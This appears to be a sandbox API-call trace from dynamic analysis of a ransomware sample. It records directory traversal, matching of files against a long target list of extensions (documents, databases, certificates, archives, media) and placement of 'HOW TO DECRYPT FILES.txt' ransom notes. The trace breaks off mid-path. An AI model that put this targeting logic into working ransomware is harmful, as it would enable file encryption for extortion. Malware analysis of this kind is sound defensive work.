(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.mdb") returned 0 [0105.185] lstrlenA (lpString="*.mdb") returned 5 [0105.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.fdb") returned 0 [0105.185] lstrlenA (lpString="*.fdb") returned 5 [0105.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.wab") returned 0 [0105.185] lstrlenA (lpString="*.wab") returned 5 [0105.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.dat") returned 0 [0105.185] lstrlenA (lpString="*.dat") returned 5 [0105.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.txt") returned 0 [0105.185] lstrlenA (lpString="*.txt") returned 5 [0105.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.jpeg") returned 0 [0105.185] lstrlenA (lpString="*.jpeg") returned 6 [0105.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.jpg") returned 0 [0105.185] lstrlenA (lpString="*.jpg") returned 5 [0105.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.png") returned 0 [0105.185] lstrlenA (lpString="*.png") returned 5 [0105.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.php") returned 0 [0105.185] lstrlenA (lpString="*.php") returned 5 [0105.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.cs") returned 0 [0105.185] lstrlenA (lpString="*.cs") returned 4 [0105.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.cpp") returned 0 [0105.186] lstrlenA (lpString="*.cpp") returned 5 [0105.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.rar") returned 0 [0105.186] lstrlenA (lpString="*.rar") returned 5 [0105.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.zip") returned 0 [0105.186] lstrlenA (lpString="*.zip") returned 5 [0105.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.html") returned 0 [0105.186] lstrlenA (lpString="*.html") returned 6 [0105.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.htm") returned 0 [0105.186] lstrlenA (lpString="*.htm") returned 5 [0105.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.xlsx") returned 0 [0105.186] lstrlenA (lpString="*.xlsx") returned 6 [0105.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.xls") returned 0 [0105.186] lstrlenA (lpString="*.xls") returned 5 [0105.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.mp4") returned 0 [0105.186] lstrlenA (lpString="*.mp4") returned 5 [0105.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.ppt") returned 0 [0105.186] lstrlenA (lpString="*.ppt") returned 5 [0105.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.pptx") returned 0 [0105.186] lstrlenA (lpString="*.pptx") returned 6 [0105.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.doc") returned 0 [0105.187] lstrlenA (lpString="*.doc") returned 5 [0105.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.dot") returned 0 [0105.187] lstrlenA (lpString="*.dot") returned 5 [0105.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.docx") returned 0 [0105.187] lstrlenA (lpString="*.docx") returned 6 [0105.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.7z") returned 0 [0105.187] lstrlenA (lpString="*.7z") returned 4 [0105.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.tar") returned 0 [0105.187] lstrlenA (lpString="*.tar") returned 5 [0105.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.bz2") returned 0 [0105.187] lstrlenA (lpString="*.bz2") returned 5 [0105.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.gz") returned 0 [0105.187] lstrlenA (lpString="*.gz") returned 4 [0105.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.mkv") returned 0 [0105.187] lstrlenA (lpString="*.mkv") returned 5 [0105.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.eml") returned 0 [0105.188] lstrlenA (lpString="*.eml") returned 5 [0105.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.msg") returned 0 [0105.188] lstrlenA (lpString="*.msg") returned 5 [0105.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.edb") returned 0 [0105.188] lstrlenA (lpString="*.edb") returned 5 [0105.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.accdb") returned 0 [0105.188] lstrlenA (lpString="*.accdb") returned 7 [0105.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.odb") returned 0 [0105.188] lstrlenA (lpString="*.odb") returned 5 [0105.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.java") returned 0 [0105.188] lstrlenA (lpString="*.java") returned 6 [0105.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.asm") returned 0 [0105.188] lstrlenA (lpString="*.asm") returned 5 [0105.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.pfx") returned 0 [0105.188] lstrlenA (lpString="*.pfx") returned 5 [0105.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.pem") returned 0 [0105.188] lstrlenA (lpString="*.pem") returned 5 [0105.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.p12") returned 0 [0105.189] lstrlenA (lpString="*.p12") returned 5 [0105.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.gpg") returned 0 [0105.189] lstrlenA (lpString="*.gpg") returned 5 [0105.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.vsd") returned 0 [0105.189] lstrlenA (lpString="*.vsd") returned 5 [0105.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.odg") returned 0 [0105.189] lstrlenA (lpString="*.odg") returned 5 [0105.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.raw") returned 0 [0105.189] lstrlenA (lpString="*.raw") returned 5 [0105.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.nef") returned 0 [0105.189] lstrlenA (lpString="*.nef") returned 5 [0105.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.svg") returned 0 [0105.189] lstrlenA (lpString="*.svg") returned 5 [0105.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.psd") returned 0 [0105.189] lstrlenA (lpString="*.psd") returned 5 [0105.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.vmx") returned 0 [0105.189] lstrlenA (lpString="*.vmx") returned 5 [0105.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.vmdk") returned 0 [0105.189] lstrlenA (lpString="*.vmdk") returned 6 [0105.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.vdi") returned 0 [0105.190] lstrlenA (lpString="*.vdi") returned 5 [0105.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.lay6") returned 0 [0105.190] lstrlenA (lpString="*.lay6") returned 6 [0105.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.mpeg") returned 0 [0105.190] lstrlenA (lpString="*.mpeg") returned 6 [0105.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.djvu") returned 0 [0105.190] lstrlenA (lpString="*.djvu") returned 6 [0105.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.tiff") returned 0 [0105.190] lstrlenA (lpString="*.tiff") returned 6 [0105.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.backup") returned 0 [0105.190] lstrlenA (lpString="*.backup") returned 8 [0105.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.pdf") returned 0 [0105.190] lstrlenA (lpString="*.pdf") returned 5 [0105.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.cert") returned 0 [0105.190] lstrlenA (lpString="*.cert") returned 6 [0105.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.docm") returned 0 [0105.190] lstrlenA (lpString="*.docm") returned 6 [0105.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.xlsm") returned 0 [0105.191] lstrlenA (lpString="*.xlsm") returned 6 [0105.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.dwg") returned 0 [0105.191] lstrlenA (lpString="*.dwg") returned 5 [0105.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.nd") returned 0 [0105.191] lstrlenA (lpString="*.nd") returned 4 [0105.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.tlg") returned 0 [0105.191] lstrlenA (lpString="*.tlg") returned 5 [0105.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.lgb") returned 0 [0105.191] lstrlenA (lpString="*.lgb") returned 5 [0105.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.mov") returned 0 [0105.191] lstrlenA (lpString="*.mov") returned 5 [0105.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.xdw") returned 0 [0105.191] lstrlenA (lpString="*.xdw") returned 5 [0105.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.ods") returned 0 [0105.191] lstrlenA (lpString="*.ods") returned 5 [0105.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.wav") returned 0 [0105.191] lstrlenA (lpString="*.wav") returned 5 [0105.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.mp3") returned 0 [0105.191] lstrlenA (lpString="*.mp3") returned 5 [0105.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.aiff") returned 0 [0105.191] lstrlenA (lpString="*.aiff") returned 6 [0105.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.flac") returned 0 [0105.192] lstrlenA (lpString="*.flac") returned 6 [0105.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.m4a") returned 0 [0105.192] lstrlenA (lpString="*.m4a") returned 5 [0105.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Deployment\\be74d258a0daa0e11197e1dcb1b3b0b9\\System.Deployment.ni.dll", pszSpec="*.csv") returned 0 [0105.192] lstrlenA (lpString="*.csv") returned 5 [0105.192] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd20afda, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfd20afda, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfd25729b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Deployment.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.192] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.192] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd2ef81c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfd2ef81c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfd2ef81c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="be74d258a0daa0e11197e1dcb1b3b0b9", cAlternateFileName="BE74D2~1")) returned 0 [0105.192] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.194] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17784a42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17784a42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x17784a42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Design", cAlternateFileName="SYSTEM~1.DES")) returned 1 [0105.194] lstrcmpA (lpString1=".", lpString2="System.Design") returned -1 [0105.194] lstrcmpA (lpString1="..", lpString2="System.Design") returned -1 [0105.194] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.194] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Design" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design" [0105.194] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design") returned 60 [0105.194] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17784a42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17784a42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x17784a42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.195] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.195] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17784a42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17784a42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x17784a42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.195] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.195] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.195] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17784a42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17784a42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x17784a42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="52873358b397c328168f0a5be7f3b9ae", cAlternateFileName="528733~1")) returned 1 [0105.195] lstrcmpA (lpString1=".", lpString2="52873358b397c328168f0a5be7f3b9ae") returned -1 [0105.196] lstrcmpA (lpString1="..", lpString2="52873358b397c328168f0a5be7f3b9ae") returned -1 [0105.196] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\*.*") returned="*.*" [0105.196] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\", lpString2="52873358b397c328168f0a5be7f3b9ae" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae" [0105.196] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae") returned 93 [0105.196] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17784a42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17784a42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x17784a42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.196] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.197] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17784a42, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17784a42, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x17784a42, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.197] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.197] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.197] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1735a3bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1735a3bb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1756f6fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xa17200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.197] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.197] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Design.ni.dll") returned -1 [0105.197] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Design.ni.dll") returned -1 [0105.197] lstrcmpiA (lpString1="", lpString2="System.Design.ni.dll") returned -1 [0105.197] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\*.*") returned="*.*" [0105.197] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\" [0105.197] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\") returned="" [0105.198] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Design\\52873358b397c328168f0a5be7f3b9ae\\HOW TO DECRYPT 